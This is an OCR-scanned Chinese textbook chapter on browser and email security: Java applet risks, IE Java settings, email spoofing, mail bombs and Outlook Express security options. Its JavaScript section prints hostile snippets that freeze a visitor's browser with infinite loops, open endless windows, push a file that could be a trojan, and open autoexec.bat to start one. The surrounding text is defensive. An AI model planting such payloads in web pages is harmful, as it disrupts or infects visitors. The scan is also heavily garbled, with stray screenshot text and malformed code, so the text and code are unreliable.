(1) Java 可 以 更 改 系 统 。 

像 Java 这 样 功 能 强大 的 程序 语言 ,不管 是 在 计算 机 的 硬盘 上 还 是 在 文件 系统 中 ,都 具 
有 修改 数据 的 能 力 。 在 Java 语言 中 包含 有 许多 预先 定义 好 的 类 (class), 其 中 的 方法 
(method) 可 以 删除 或 修改 文件 ,更改 使 用 中 的 磁盘 内 容 、 杀 掉 执 行程 序 或 其 执行 线程 
(thread) ,这 些 功能 很 有 可 能 会 被 Applet 的 设计 者 滥用 。 

更 改 系统 可 能 是 所 有 潜在 危险 中 最 严重 的 一 种 。 所 谓 的 更 改 系统 包括 人 侵 系 统 , 在 不 
安全 地 使 用 Java 时 ,可 能 会 被 Applet 发 现 攻击 的 路 径 。 由 于 黑客 们 总 是 想方设法 利用 各 
种 手段 人 侵 他 人 的 计算 机 系统 (取得 进入 系统 的 使 用 权限 ) ,而 用 户 能 做 的 不 过 是 小 心 使 用 
Java 而 已 。 因 此 ,保证 Java 运行 环境 的 安全 最 主要 的 还 是 Java 设计 者 的 责任 ,Java 设计 者 
必须 保证 在 用 户 下 载 Applet 时 没有 其 他 进入 系统 的 安全 漏洞 产生 。 

在 如 今 各 种 重要 的 计算 机 系统 中 ,这 种 更 改 系统 型 的 Applet 攻击 对 数据 造成 的 破坏 是 
非常 严重 的 。 如 它 可 能 会 破坏 一 些 表 面 上 看 来 很 安全 的 数据 库 中 的 财务 记录 ,导致 公司 财 
务 损失 而 破产 或 者 是 自 改 医院 中 病人 的 病情 数据 ,导致 医疗 不 当 , 甚 至 因此 导致 病人 死亡 。 
所 以 在 目前 未 能 得 到 解决 方案 的 情况 下 ,对 Java Applet 的 使 用 要 非常 小 心 , 不 要 让 重要 的 
数据 系统 暴露 在 这 种 新 型 的 攻击 危险 中 。Internet 这 种 全 球 最 开放 的 系统 几乎 可 以 称 得 上 
是 计算 机 黑客 们 的 乐园 ,这 从 Internet 上 层出不穷 的 入 侵 事 件 不 难看 出 。 因 此 ,如何 使 Java 
不 成 为 黑客 的 破坏 工具 ,不 管 是 对 开发 员 来 讲 还 是 对 用 户 来 讲 都 是 一 个 重要 的 课题 。 

(2) 获得 用 户 的 隐蔽 数据 。 

这 种 类 型 的 攻击 ,就 是 黑客 利用 Java 的 漏洞 暴露 用 户 计算 机 上 的 秘密 数据 。 例 如 ,在 
UNIX 系统 中 如 能 访问 安全 账户 /etc/passwd 文件 ,就 有 可 能 入 侵 整 个 系统 。 

另外 ,计算 机 系统 也 可 能 会 造成 一 些 敏 感性 资料 的 泄露 ,例如 心术 不 正 的 公司 可 以 利用 
商业 间谍 偷 取 对 手 公 司 的 业务 计划 。 个 人 用 户 对 于 其 私人 的 电子 邮件 或 财务 记录 是 否 可 以 
公开 也 要 慎重 考虑 ,任何 可 经 由 电子 邮件 传送 或 经 由 网 络 传递 的 秘密 资料 ,都 有 可 能 受到 
入 侵 。 

利用 Java 的 功能 ,会 产生 双重 伪造 的 可 能 性 ,典型 的 电子 邮件 伪造 (mail-forging) 的 情 
况 会 更 加 严重 。 如 可 以 利用 Java Applet 先 使 系统 送出 假 信息 ,以 欺骗 真 的 邮件 。Java 对 
于 某 些 形式 的 网 络 攻击 可 以 成 功 地 进行 防卫 ,例如 ,文件 系统 的 输入 输出 操作 就 受到 严格 的 
控制 。 但 是 ,这 又 与 Applet 常 需要 一 条 通道 以 便 传 回 数据 的 要 求 相 违背 ,因为 Applet 总 是 
必须 与 原来 的 服务 器 一 直 相 连 。 电 子 邮件 的 伪造 ,防卫 起 来 则 比较 困难 。 由 于 缺乏 对 客户 
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端 连接 接口 的 限制 功能 ,电子 邮件 的 伪造 不 太 可 能 杜绝 。 

(3) 敌对 行为 。 

还 有 一 种 类 型 的 Applet 攻击 ,只 是 造成 使 用 者 的 困扰 ,虽然 与 以 上 攻击 相 比 危险 性 小 
得 多 ,但 也 值得 引起 重视 。 例 如 ,故意 发 出 不 经 意 的 声音 ,或 在 屏幕 上 显示 不 雅 的 画面 等 。 
另外 ,单纯 的 程序 设计 错误 而 引起 的 一 些 不 良 后 果 也 属于 此 类 。 正 如 前 面 所 讲 的 , 某 些 类 型 
的 拒绝 系统 服务 式 攻 击 ,也 可 以 归 类 为 单纯 的 敌对 行为 。 例 如 ,产生 众多 窗口 的 操作 ,可 能 
只 是 令 人 困扰 而 已 ,并 不 会 破坏 系统 的 数据 。 

3. 在 IE 中 设置 Java 的 安全 性 

要 想 安 全 地 使 用 IE 浏览 器 访问 Internet 并 杜绝 Java 恶意 的 攻击 ,就 必须 首先 了 解 使 
用 Java 的 攻击 方式 ,然后 才能 掌握 防范 Java 攻击 的 方法 。 这 里 ,就 不 再 介绍 Java 语言 了 ， 
有 兴趣 的 读者 可 以 阅读 专门 的 书籍 。 建 议 读者 还 是 要 学 习 一 下 Java 的 基本 知识 ,因为 下 面 
的 实例 都 和 Java 的 脚本 语言 JavaScript 相关 。 

(1) 用 JavaScript 发 个 死 循环 给 访问 者 。 

如 果 在 文本 中 输入 如 下 代码 ,那么 当 鼠 标 移动 到 这 个 链接 设置 时 ,JavaScript 就 会 产生 
一 个 死 循环 ,使 访问 者 的 计算 机 无 法 响应 其 他 程序 ,就 好 像 死 机 了 一 样 。 


<ahref=http://hackl.yeah.net OnMouseOver "while(100) {window.close('/')}"> 
测试 链接 < /a> 


或 用 
<a herf="" OnMouseOver "while (true) { (window.close('/'))"> 测 试 链接 < /a> 
(2) 可 以 使 用 户 打 开 指 定 的 窗口 。 
代码 如 下 : 


< img src="Javascript;n=1;do {window.open('http:// 用 户 要 打开 的 链接 ') }while (n==2)" 
Width="1"> 


同样 的 道理 ,通过 以 下 代码 ,访问 者 将 莫名 其 妙 地 打开 无 数 个 新 的 窗口 。 


<img src="Javascript:n=1;do {window.open('http:// 用 户 要 打开 的 链接 ') }while (n==1)" 

Width="1"> 

(3) 可 以 将 网 上 的 某 个 文件 传送 给 对 方 。 

下 面 的 代码 如 果 拒 入 到 页 面 中 , 它 就 会 无 声 无 息 地 运行 ,用 户 丝毫 不 会 察觉 ,如 果 传 输 
的 文件 是 一 个 特洛伊 木马 或 者 病毒 ,那么 后 果 可 想 而 知 。 


<img src="Javascript:n=1;do {window.open('ftp:// 用 户 要 传 的 文件 ') }while (n==1)" 

Width="1"> 

(4) 可 以 使 访问 者 打开 自己 的 文件 。 

前 提 条 件 是 在 访问 者 的 硬盘 上 有 . bat 类 型 的 文件 (如 autoexec. bat) ,代码 如 下 。 这 个 
方法 很 具 危 险 性 ,结合 到 第 3 种 方法 ,如 果 黑 客 已 经 在 用 户 的 计算 机 上 安装 了 特洛伊 木马 ， 
就 可 以 通过 这 个 方式 启动 木马 。 

< img src="Javascript:n=1;do {window.open('file://c:/autoexec.bat')} while(n==2)" 


A 


Width="1"> 


以 上 列 出 的 只 是 JavaSeript 进攻 实例 中 很 少 的 一 部 分 ,相信 用 户 已 经 深切 地 感受 到 了 
其 巨大 的 威胁 性 。 

下 面 介绍 如 何在 下 浏览 器 中 配置 Java 的 安全 。IE 对 Java 的 使 用 也 可 以 进行 限制 。 
具体 实施 的 步骤 如 下 。 

(1) 打开 下 浏览 器 ,选择 “工具 ”菜单 中 的 
“Internet 选项 ”命令 。 

(2) 在 所 打开 的 对 话 框 中 , 单 击 “ 安 全 ” 标 
签 ,如 图 8-1 所 示 。 

(3) 单 击 选项 卡 上 方 白 色 编 辑 框 中 的 
Internet 图 标 ( 地 球 标志 ) ,代表 要 设置 整个 IE 的 
和 | 安全 设置 。 

Te (4) 单 击 选 项 卡 下 方 的 “ 自 定义 级 别 ”, 打 开 
| 加 “安全 设置 ”对 括 框 。 
(5) 拖 动 对 话 框 的 垂直 滚动 条 ,直到 出 现 
“Java 安全 权限 ?设置 ,如 图 8-3 所 示 。 从 图 中 可 
以 看 到 一 共和 包含 以 下 4 个 Java 的 安全 设置 。 
Q@ Java 权限 

是 Java 程序 对 本 地 计算 机 操作 的 权限 , 共 分 为 "高 "“ 中 ”“ 低 “禁用 ”4 级 ,IE 默认 设 
置 是 “中 ”级 ,用 户 可 以 将 它 设 为 “高 ".“ 自 定义 ”设置 是 用 户 自己 定义 Java 的 各 个 操作 的 权 
限 ,这 是 给 高 级 用 户 使 用 的 ,用 户 可 以 不 使 用 它 。 

@ Java 小 程序 脚本 

是 对 Java Applet 程序 的 设置 ,许多 网 站 上 都 使 用 Java Applet 作为 与 用 户 交 互 的 脚本 
语言 ,所 以 IE 对 它 的 默认 设置 为 “启用 ”。 如 果 用 户 将 它 设 为 “禁用 ”, 将 会 失去 许多 网 站 的 
功能 支持 ,用 户 可 以 自行 考虑 。 


RE 


LAE Erne Om 


@ 活动 脚本 宙 [安全 | 陪 么 、| 内 容 | 这 流入 
是 否 允 许 浏览 器 使 用 JavaScript 语言 进行 网 | 和 

页 的 显示 ,同样 许多 网 站 上 都 使 用 Java 作为 与 用 | se 

户 交 互 的 脚本 语言 ,所 以 正 对 它 的 默认 设置 为 

“启用 ”, 如 果 用 户 是 在 聊天 室 , 就 可 以 将 这 个 功能 a I 

设 为 “禁止 >, 以 防止 上 面 讲述 的 各 种 攻击 。 ee ~ RE) 
@ 允许 脚本 进行 粘贴 操作 ar 


[局 仿冒 网 让; 


国 
| 国 当 


这 个 功能 具有 一 定 的 危险 性 ,但 是 它 在 EEmail、 
表单 的 操作 、 信 息 的 提交 中 发 挥 着 作用 。 用 户 在 | 


| 重 置 Internet Explorer 设置 


和 Internet Explorer 之 后 生效 
原 高 级 


不 需要 时 ,可 以 关闭 这 个 功能 。 | 
此 外 ,在 “高 级 ”选项 卡 中 ,还 有 一 项 Java 安 妈 在 浏览 器 处 于 无 法 使 用 的 状态 时 ， 才 使 用 此 设置 

全 的 设置 ,如 图 8-4 所 示 。 在 Microsoft VM 可 以 EEC CE 

选择 “启用 Java 记录 ”, 这 个 功能 是 指定 Internet ER 

Explorer 是 否 应 该 创建 所 有 Java 程序 活动 的 日 I 


i 


志 ,这 样 有 利于 安全 性 和 疑难 解答 。 
8.3 电子 邮件 与 Outlook Express 的 安全 


E-mail 的 功能 强大 , 它 不 仅 能 够 传输 文字 图像. 声音 ,还 能 够 传输 计算 机 程序 ,并 且 配 
合 专用 的 软件 运用 语言 和 动态 图 像 ,使 邮件 有 声 有 色 ; 同 时 它 传输 快 ,价格 低 。 在 Web 上 ， 
应 用 E-mail 可 以 方便 地 访问 一 个 Web 网 页 ,并 向 管理 员 发 送 E-mail, 给 人 们 的 生活 带 来 了 
方便 和 快捷 。 

然而 E-mail 十 分 脆弱 ,从 浏览 器 向 Internet 上 的 男 一 用 户 发 送 E-mail 时 ,不 仅 信件 像 
明信片 一 样 是 公开 的 ,而 且 也 无 法 知道 在 到 达 其 最 终 目的 地 之 前 ,信件 经 过 了 多 少 机 器 。 
Internet 像 一 个 蜘蛛 网 ,E-mail 到 达 收 件 人 之 前 ,会 经 过 大 学 ,政府 机 构 和 服务 提供 商 。 因 
为 邮件 服务 器 可 接收 来 自任 意 地 点 的 任意 数据 ,所 以 任何 人 只 要 可 以 访问 这 些 服 务 器 或 访 
问 E-mail 经 过 的 路 径 , 就 可 以 阅读 这 些 信息 。 唯 一 的 安全 性 取决 于 人 们 对 邮件 有 多 大 兴 
趣 。 当 然 , 整 个 过 程 中 ,具备 多 少 阅读 这 些 信 件 的 技术 ,了 解 多 少 访问 服务 器 的 方法 ,会 产生 
不 同 的 结果 。 


8.3.1 E-mail 工作 原理 及 安全 漏洞 


1. E-mail 工作 原理 

一 个 邮件 系统 的 传输 包含 了 用 户 代 理 (user agent) 、 传 输 代 理 (transfer agent) 及 接收 代 
(delivery agent)3 大 部 分 。 用 户 代理 是 一 个 用 户 端 发 信和 收 信 的 程序 ,负责 将 信和 按照 一 定 
的 标准 包装 ,然后 送 至 邮件 服务 器 ,将 信件 发 出 或 由 邮件 服务 器 收回 。 

传输 代理 则 负责 信件 的 交换 和 传输 ,将 信件 传送 至 适当 的 邮件 主机 ,再 由 接收 代理 将 信 
件 分 发 至 不 同 的 邮件 信箱 。 传 输 代理 必须 要 能 够 接收 用 户 邮 件 程序 送 来 的 信件 ,解读 收 信 
人 的 地 址 ,根据 SMTP(simple mail transport protocol) 协议 或 者 因特网 邮件 扩展 MIME 
(multipurpose internet mail extensions) 标 准将 它 正确 无 误 地 传递 到 目的 地 。 现 在 一 般 的 
传输 代理 已 采用 Sendmail 程序 完成 工作 ,邮件 主机 经 接收 代理 POP(post office protocol， 
网 络 邮 局 协议 或 网 络 中 转 协 议 ) 以 使 邮件 被 用 户 读 取 至 自己 的 主机 。 

2. E-mail 的 安全 风险 

(1) E-mail 的 漏洞 。 

当 用 户 之 间或 用 户 与 站 点 交换 E-mail 时 ,应 确保 它们 是 安全 的 。E-mail 在 Internet 上 
传送 时 ,会 经 过 很 多 点 ,如 果 中 途 没 有 什么 阻止 它 ,最 终 会 到 达 目 的 地 。 

信息 在 传送 过 程 中 通常 会 做 几 次 短暂 停留 ,因为 其 他 E-mail 服务 器 会 查看 信 头 ,以 确 
定 该 信息 是 否 发 给 自己 ,如 果 不 是 ,服务 器 会 将 其 转送 到 下 一 个 最 可 能 的 地 址 。 

E-mail 服务 器 有 一 个 “路 由 表 ”, 在 那里 列 出 了 其 他 E-mail 服务 器 的 目的 地 的 地 址 。 当 
服务 器 读 完 信 头 ,意识 到 信息 不 是 发 给 自己 时 , 它 会 迅速 将 信息 送 到 目的 地 服务 器 或 离 目的 
地 最 近 的 服务 器 。 

E-mail 服务 器 向 全 球 开放 ,很 容易 受到 黑客 的 袭击 ,从 而 暴露 隐私 。 信 息 可 能 携带 会 
损害 服务 器 的 指令 。 例 如 ,Morros bug 内 有 一 种 会 损坏 Sendmail 的 指令 ,这 个 指令 可 使 其 
执行 黑客 发 出 的 命令 。 
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Web 提供 的 阅读 器 更 容易 受到 此 类 侵扰 。 因 为 ,与 标准 的 基于 文本 的 Internet 邮件 不 
同 ,Web 上 的 图 形 接口 需要 执行 脚本 或 Applet 才能 显示 信息 。 例 如 ,在 一 条 信息 中 加 进 了 
一 个 小 的 脚本 ,并 发 给 公司 内 的 每 一 个 用 户 。 这 个 脚本 在 信息 中 作为 一 个 小 图 标 ,下 面 有 
“Click me”。 因 为 它 来 自 于 MIS ,组 织 内 的 每 一 个 人 都 知道 它 , 人 们 单 击 这 个 图 像 , 就 会 打 
开 一 个 小 程序 ,重新 映射 (map) 驱 动 器 ,并 安装 想 要 发 布 的 应 用 程序 。 这 个 步 又 在 很 多 组 织 
中 采用 ,但 可 能 有 人 欺骗 邮件 记录 ,改变 信件 头 , 将 同样 的 信息 发 出 ,但 与 信息 中 携带 的 图 标 
相 联系 的 脚本 却 发 生 了 改变 。 因 为 用 户 以 为 信息 是 从 MIS 发 出 的 ,他 们 会 单 击 图 标 。 图 
标 携 带 的 指令 ,会 删 去 他 们 的 本 地 硬盘 驱动 器 ,上 传 某 个 文件 甚至 系统 信息 ,这 个 信息 甚 
至 可 以 不 包括 图 标 。 它 可 以 要 求 用 户 改变 口令 ,用 户 可 能 因为 信息 来 自 MIS 而 真 的 改变 
口令 。 

防火 墙 也 不 可 能 识别 所 有 恶意 的 Applet 和 脚本 。 最 多 只 能 滤 去 邮件 地 址 中 有 风险 的 
字符 ,这 些 字 符 还 应 是 防火 墙 能 识别 得 出 来 的 。 

(2) 匿名 转发 。 

在 正常 的 情况 下 ,发 送 电子 邮件 会 尽量 将 发 送 者 的 名 字 和 地 址 包括 进 邮件 的 附加 信息 
中 。 但 有 时 候 发 送 者 希望 将 邮件 发 送出 去 ,而 不 希望 收 件 者 知道 是 谁 发 的 。 这 种 发 送 邮件 
的 方法 被 称 为 匿名 邮件 。 

实现 匿名 的 一 种 最 简单 的 方法 是 简单 地 改变 电子 邮件 软件 里 的 发 送 者 的 名 字 。 但 这 是 
一 种 表面 现象 ,因为 通过 信息 表 头 中 的 其 他 信息 , 仍 能 够 跟踪 发 送 者 。 而 让 发 送 者 的 地 址 完 
全 不 出 现在 邮件 中 的 唯一 的 方法 是 让 其 他 人 发 送 这 个 邮件 ,邮件 中 的 发 信 地 址 就 变 成 了 转 
发 者 的 地 址 了 。 现 在 Internet 网 上 有 大 量 的 匿名 转发 者 (或 称 为 匿名 服务 器 ) ,发 送 者 将 邮 
件 发 送 给 匿名 转发 者 ,并 告诉 这 个 邮件 希望 发 送 给 谁 。 该 匿名 转发 者 删 去 所 有 的 返回 地 址 
信息 ,再 发 送 给 真正 的 收 件 者 ,并 将 自己 的 地 址 作为 返回 地 址 插入 邮件 中 。 

有 人 认为 ,使 用 匿名 转发 的 动机 是 可 疑 的 ,发 送 的 可 能 是 非法 的 .恐怖 的 .不 健康 的 信 
息 ,实际 上 并 不 尽 然 。 匿 名 转发 有 一 些 重要 的 合法 使 用 。 例 如 ,有 一 些 胆 导 的 人 可 以 参加 某 
种 心理 方面 的 讨论 组 ,可 以 就 一 些 难以 启齿 的 问题 向 专家 咨询 。 

从 安全 的 角度 考虑 ,匿名 转发 也 是 有 用 的 。 例 如 发 送 敏感 信息 ,隐藏 发 送 者 的 信息 可 以 
使 帘 窟 者 不 知道 这 一 信息 是 否 有 用 。 

(3) 利用 E-mail 诈骗 。 

E-mail 诈骗 是 Internet 上 应 该 特别 注意 的 风险 。 这 些 行为 不 是 新 花样 ,而 是 以 前 那 种 
普通 邮 信 、 赠 券 之 类 搞 诈骗 的 伎俩 在 Internet 上 的 翻版 。Web 强大 的 功能 和 它 在 整个 世界 
市 场 上 的 传播 力 , 在 为 人 们 创造 利益 的 同时 ,也 会 引起 一 些 不 法 分 子 的 青睐 。 有 的 发 布 广 
告 ,鼓动 消费 者 向 通信 技术 投资 ,许诺 高 回报 和 低 风 险 ; 有 的 在 Web 上 散布 假 金融 服务 , 制 
造 高 科技 投资 机 会 ;有 的 还 招揽 竞 赌 客户 ,通过 Web 在 其 他 国家 辖区 的 服务 器 上 参加 赌博 ; 
有 的 甚至 散发 信用 维护 服务 广告 ,骗取 钱财 等 。Internet 是 一 个 开放 的 系统 ,接纳 好 人 也 接 
纳 坏 人 , 真 伪 并 存 。 浏 览 器 或 Web 服务 器 都 面临 着 欺诈 的 风险 。 认 识 到 这 一 事实 ,慎重 对 
待 所 有 潜在 客户 在 网 页 上 的 广告 和 可 能 发 布 的 E-mail。 

(4) 利用 E-mail 欺骗 。 

E-mail 欺骗 行为 的 表现 形式 各 异 ,但 原理 基本 相同 。 它 通常 是 骗 用 户 进 行 一 个 毁坏 性 
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的 操作 或 者 暴露 敏感 信息 ,如 口令 等 。 欺 骗 性 E-mail 会 制造 安全 漏洞 。E-mail 欺骗 行为 的 
表现 如 下 。 

Q E-mail 宣称 来 自 系 统 安 全 管理 员 , 要 求 用 户 将 他 们 的 口令 改变 为 特定 的 字符 ,并 威 
胁 如 果 用 户 如 不 照 此 办 理 , 将 关闭 用 户 账号 。 

@ E-mail 宣称 来 自 上 级 管理 员 ,要 求 用 户 提供 口令 或 其 他 敏感 信息 。 

由 于 简单 邮件 传输 协议 (SMTP) 没 有 验证 系统 ,因此 伪造 Email 十 分 方便 。 如 果 站 
点 允许 任何 人 都 可 以 与 SMTP 端口 联系 ,并 可 以 用 虚构 某 人 的 名 义 发 出 Email, 那 伪造 
的 E-mail 就 会 对 站 点 造成 威胁 。 黑 客 在 发 出 欺骗 性 的 E-mail 的 同时 ,还 可 能 修改 相应 的 
Web 浏览 器 界面 ,所 以 应 花 一 些 时 间 查 看 E-mail 的 错误 信息 ,其 中 经 常会 有 闻 人 者 的 线 
索 。 应 该 查看 E-mail 信息 的 抬头 ,如 果 E-mail 阅读 器 不 允许 用 户 查 看 这 些 抬头 , 则 查看 
包含 原始 信息 的 ACSII 文件 。 要 小 心 这 些 抬头 ,这 些 抬头 经 常 被 伪造 。 如 果 怀 疑 自己 已 
被 黑客 入 侵 过 ,可 以 与 计算 机 紧急 应 急 小 组 (CCERT) 联系 ,网 址 为 http://www. ccert. 
edu. cn/about_us/index. htm, 向 他 们 描述 自己 的 状况 。 还 可 以 查看 相关 安全 站 点 以 获取 

(5) 电子 邮件 友 炸 。 

电子 邮件 艇 炸 可 以 描述 为 不 停 地 接 到 大 量 的 、 同 一 内 容 的 电子 邮件 。 一 条 信息 可 能 被 
传 给 成 千 上 万 的 不 断 扩大 的 用 户 。 主 要 风险 来 自 电子 邮件 服务 器 ,如 果 服 务 器 很 多 ,服务 器 
会 断 网 ,甚至 导致 系统 崩溃 。 系 统 不 能 服务 的 原因 很 多 ,可 能 由 于 网 络 连接 超载 ,也 可 能 由 
于 缺少 系统 资源 。 对 付 电子 邮件 得 炸 可 以 借助 防火 墙 ,阻止 恶意 信息 产生 或 者 过 滤 掉 跃 跃 
欲 试 的 电子 邮件 ,以 确保 所 有 外 部 的 SMTP 只 连接 到 电子 邮件 服务 器 上 ,而 不 连接 到 站 点 
的 其 他 系统 ,从 而 将 电子 邮件 禾 炸 的 损失 减少 到 最 小 。 如 果 发 现 站 点 正 遭 受 侵袭 , 试 着 找 出 
禾 炸 的 来 源 ,再 用 防火 墙 进 行 过 滤 。 

3. E-mail 的 安全 措施 

为 了 提高 电子 邮件 安全 ,可 在 邮件 服务 器 上 建立 电子 邮件 的 安全 模式 ,将 安全 策略 施加 
给 安全 模式 ,进而 对 电子 邮件 传输 进行 安全 控制 。 

可 以 采取 以 下 安全 措施 。 

(1) 借助 防火 墙 对 进入 邮件 服务 器 的 电子 邮件 进行 控制 ,过 滤 、 筛 选 和 屏蔽 掉 那 些 有 害 
的 电子 邮件 或 滤 去 那些 邮件 地 址 和 邮件 中 有 风险 的 字符 ,并 预防 黑客 攻击 。 

(2) 对 于 重要 的 电子 邮件 可 以 加 密 传 送 ,并 进行 数字 签名 。 加 密 的 算法 很 多 ,如 RAS 
加 密 、PGP 加 密 , 还 可 用 IDEA 或 DES 加 密 。 目 前 在 Internet 上 传送 的 电子 邮件 ,多 采用 
PGP 加 密 传 送 , 并 同时 进行 数字 签名 。 加 密 时 使 用 公开 的 密 钥 加 密 , 在 收 信 端 用 秘密 密 钥 
进行 解密 。 用 秘密 密 钥 进行 数字 签名 ,用 公开 密 钥 进行 数字 签名 验证 。 

(3) 采用 必要 措施 防范 和 解除 邮件 炸弹 以 及 邮件 垃圾 ,使 这 些 邮 件 不 占用 邮箱 的 空间 ， 
以 免 干 扰 用 户 接收 正常 的 邮件 ,减少 邮件 使 用 费用 。 

(4) 检查 电子 邮件 的 来 源 ,进行 邮件 完整 性 检测 ,查看 邮件 是 否 被 非法 更 改 。 

(5) 检查 电子 邮件 是 否 感染 病毒 ,以 便 采用 相应 方法 进行 诊断 和 消除 。 

(6) 黑客 攻击 具有 一 定 的 目的 性 ,往往 借助 电子 邮件 来 实现 其 险恶 用 心 。 例 如 ,黑客 在 
电子 邮件 中 使 用 损害 服务 器 的 命令 。Morros bug 内 就 有 一 种 会 损坏 Sendmail 的 指令 ,这 
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个 指令 可 以 使 用 户 执行 黑客 发 出 的 命令 。 要 注意 登录 的 文件 和 邮件 及 特殊 日 期 ,发现 黑 客 
后 要 切断 联系 ,分析 问题 并 采取 行动 修复 安全 漏洞 ,并 恢复 系统 。 


8.3.2 Outlook Express 的 安全 


Outlook Express 6 是 微软 公司 出 品 的 一 个 基于 Internet 标准 的 电子 邮件 和 新 闻 阅 读 
程序 ,由 于 它 是 Windows 的 一 个 组 件 , 因 此 使 用 的 用 户 非常 多 。 本 节 将 介绍 Outlook 
Express 6 的 安全 性 。 

要 使 用 Outlook Express 系统 阅读 电子 邮件 ,必须 使 用 支持 SMTP 和 POP 或 者 IMAP 
和 MIME,HTTP 协议 的 邮件 系统 。 一 般 的 邮件 服务 器 都 支持 这 些 协议 ,如 Foxmail. com， 
Sina. com 和 263 免费 邮局 等 。 

1. Outlook Express 的 安全 设置 

Outlook Express 为 了 保护 邮件 的 安全 ,使 用 了 加 密 等 手段 ,不 过 这 些 设置 不 是 默认 设 
置 的 ,要 用 户 自 己 添加 ,下 面 就 介绍 这 些 设置 。 

(1) 启动 Outlook ,在 菜单 中 选择 “工具 ”| * 选 项 命令 ,出 现 Outlook 的 设置 对 话 框 , 然 
后 单 击 “ 安 全 ”标签 ,如 图 8-5 所 示 。 


Internet Explorer 安全 区 域 
天 安全 ， 秆 更 实用 J 区 j 


当 别 的 应 用 程序 试图 用 我 的 名 义 发 送 电 子 邮件 时 警告 我 世 )。 
不 允许 保 存 或 打开 可 能 有 病毒 的 附件 四 。 


阻止 HTNL 电子 邮件 中 的 图 像 和 其 地 外 部 内 容 凶 )。 


村 由 由 2 
数字 标 误 C) 
到 数字 标识 (@), 


对 所 有 待 发 邮件 的 内 容 和 附件 进行 加 客 包 ) 
在 所 有 待 发 邮件 中 添加 数字 签名 四) 


要 对 邮件 数字 等 名 或 接收 加 密 的 邮件 ， 您 
必须 有 数字 标识 。 
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图 8-5” Outlook Express 的 安全 设置 


(2) 在 “病毒 防护 ” 框 中 ,用 户 可 以 选择 以 下 两 个 选项 。 

。 Internet 区 域 

用 户 可 以 使 用 整个 Internet 网 上 的 所 有 地 址 的 邮箱 。 

。 受 限 站 点 区 域 

用 户 使 用 的 邮箱 必须 是 在 指定 的 IP 地 址 范围 内 ,用 户 可 以 在 IE 中 设置 指定 的 IP 地 址 
范围 。 

(3) 在 “安全 邮件 ” 框 中 ,要 求 用 户 使 用 数字 证 书 ,这 是 一 个 高 级 应 用 ,只 有 在 对 邮件 的 
安全 要 求 很 高 的 情况 下 才 可 能 需要 使 用 这 种 加 密 手 段 。 

“0 


2. 定义 接收 邮件 的 规则 

用 户 可 以 定义 对 符合 一 定 规定 的 邮件 的 操作 ,这 些 规定 就 是 “邮件 规则 ”。“ 邮 件 规则 ” 
可 以 使 用 户 排除 邮件 垃圾 .防止 恶意 邮件 .去除 指定 的 发 件 人 发 的 邮件 等 功能 ,使 用 户 的 邮 
件 处 于 安全 保护 之 下 。 设 置 方法 如 下 。 

(1) 选择 菜单 中 的 “工具 ”| ”邮件 规则 ”| 新建 > 命 令 , 出 现 * 新 建 邮 件 规则 ?对 话 框 ,如 
图 8-6 所 示 。 


请 首先 选择 条 件 和 操作 ， 然 后 在 描述 中 指定 值 。 
1 .选择 规则 条 件 C) ; 

若 “发 件 人 ” 行 中 包 合 用 户 加 
车“ 主题” 行 中 包含 特定 的 局 一 
口 若 邮 件 正文 包含 特定 的 间 | 
口 甘 “ 收 件 人 ” 行 中 包 会 用 户 ll 
2， 选 择 规则 操作 @) ; 
口 移动 到 指定 的 文件 夹 a 
口 将 它 复制 到 指定 的 文件 来 | 
口 


删除 ' 
口 募 党 到 | 指定 的 用 户 eq 
3， 规 则 描述 ( 单 击 带 下 划 战 的 值 可 以 进行 编辑 ) @): 


es 


4 规则 名 称 四 
新 建 邮件 规则 广 
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图 8-6 接收 邮件 的 规则 设置 


这 个 对 话 框 的 界面 说 明 如 下 。 

。 选择 规则 条 件 

即 当 邮件 符合 下 列 某 一 条 规则 时 ,启动 所 指定 的 对 邮件 的 操作 。 

。 选择 规则 操作 

定义 当 邮 件 符合 指定 的 规则 时 所 启动 的 操作 。 

。 规 则 描述 

定义 每 个 规则 特定 的 属性 。 

。 规则 名 称 

用 户 可 以 在 同一 个 规则 中 使 用 几 个 “邮件 规则 条 件 ”, 并 在 这 个 编辑 框 中 输入 指定 的 规 
则 名 称 。 

(2) 用 户 要 定义 邮件 规则 时 ,首先 定义 邮件 规则 条 件 。 例 如 ,选择 “ 若 “ 发 件 人 ’ 行 中 包 
含 用 户 ” 规 则 条 件 ,就 勾 选 它 前 面 的 复 选 框 。 

(3) 在 "规则 描述 ”中 将 出 现 用 户 设置 的 规则 条 件 , 如 图 8-7 所 示 。 


3， 规 则 描述 单 击 带 下 划 | 线 的 值 可 以 进行 编辑 ) 四 ) : 
邮件 到 达 后 应 用 本 规则 


发 件 人 ” 行 中 包 合 用 户 
和 车" 主题” 行 中 包 全 特定 的 闻 


图 8-7 邮件 规则 描述 
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(4) 单 击 蓝 色 的 “包含 用 户 ? 链 接 , 出 现 选 择 用 户 对 话 框 , 如 图 8-8 所 示 。 

(5) 用 户 可 以 在 这 个 对 话 框 中 输入 指定 的 用 户 名 或 者 单 击 “通讯 短 ? 按 钮 ,在 出 现 的 对 
话 框 中 选择 用 户 。 

(6) 用 户 选择 好 发 件 人 后 ,可 以 单 击 “ 添 加 ”按钮 ,将 发 件 人 添加 到 列表 中 。 

(7) 在 “选择 规则 操作 ” 框 中 选择 对 邮件 采取 的 操作 。 在 上 述 的 例子 中 ,就 是 当 用 户 收 
到 指定 的 用 户 名 发 的 邮件 时 对 这 个 邮件 采取 的 操作 。 如 用 户 可 以 勾 选 “ 删 除 ” 复 选 框 。 这 
样 , 这 个 用 户 发 来 的 邮件 就 会 被 自动 删除 。 

(8) 最 后 在 “规则 名 称 ” 中 输入 规则 名 称 , 再 单 击 “ 确 定 ” 按 钮 ,出 现 “ 邮 件 规则 ”对 话 框 ， 
如 图 8-9 所 示 。 


| 邮件 规则 | 新 闻 规则 阻止 发 件 人 
这 些 规则 将 应 用 于 邮件 。 
新 建 邮 件 规则 机 


和 it “添加 ”按钮 ， 或 从 “通讯 德 ”中 选 


| 
个 人 @@) 


车 “发 件 人 ” 行 中 包含 | 规则 描述 ( 单 击 带 下 划 线 的 值 可 以 进行 编辑 ) (L) : 


图 8-8 选择 用 户 图 8-9 邮件 规则 应 用 


(9) 用 户 可 以 看 到 这 个 规则 已 经 添加 到 列表 中 了 。 单 击 “ 立 即 应 用 ”按钮 ,这 个 规则 就 
开始 使 用 了 。 

在 邮件 规则 中 ,用 户 可 以 设置 多 种 规则 保护 自己 的 电子 邮件 安全 。 其 中 包括 防止 大 邮 
